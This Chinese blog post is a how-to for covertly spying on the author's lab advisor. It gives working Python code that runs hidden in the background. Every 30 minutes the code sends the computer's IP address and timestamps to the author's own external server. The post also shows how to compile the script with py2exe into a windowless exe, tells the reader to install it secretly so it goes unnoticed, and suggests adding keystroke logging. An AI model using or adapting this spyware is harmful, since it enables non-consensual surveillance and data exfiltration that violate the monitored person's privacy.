美文网首页程序员
如何用python知道某人是不是在用电脑

如何用python知道某人是不是在用电脑

作者: 查尔德77 | 来源:发表于2016-07-20 21:01 被阅读285次

    最近一直待实验室,老板说一直都要来。大夏天的,来一趟大汗淋漓。来了老板也可能不在。所以我打算偷偷写一个脚本装到老板电脑里。
    趁着老板不在,我想到把本机的IP信息以及登录时间用一个get方法发送到我的服务器,然后保存在数据库里。

    STEP1

    
    # -*- coding: cp936 -*-
    import pythoncom
    import socket
    import requests,time
    #获取本机电脑名
    myname = socket.getfqdn(socket.gethostname(  ))
    myaddr = socket.gethostbyname(myname)
    def main():
        while(True):
            try:
                r = requests.get('http://picard.sinaapp.com/spyon/?normid=%s&content=%s'%(str(myaddr),'I am using computer at '+time.strftime("%H:%M:%S")))
            except requests.ConnectionError:
                pass
            time.sleep(1800)
    main()
    
    

    先试试效果怎么样。
    (view http://picard.sinaapp.com/comment_wall/?page=1/)

    1.jpg

    STEP2

    然后我用py2exe这个库,将python代码编译成了exe文件。

    from distutils.core import setup
    import py2exe
    setup(windows=['hook.py'])  
    

    注意在编译的时候setup的参数一定得是windows,这样编译出来的exe,就是后台运行的。

    SETP3

    最后一步,只要偷偷帮老板装上就行了。因为开机就后台运行,也不占内存。不用担心被发现。由于这个程序每半个小时就会get一次,所以基本上可以知道这个人什么时候上机,上了多久的网。当然如果够缺德的话,你也可以侦测他的键盘按键然后post到服务器上。
    从此我过上了愉快的暑假生活。

    相关文章

      网友评论

        本文标题:如何用python知道某人是不是在用电脑

        本文链接:https://www.haomeiwen.com/subject/zpavjttx.html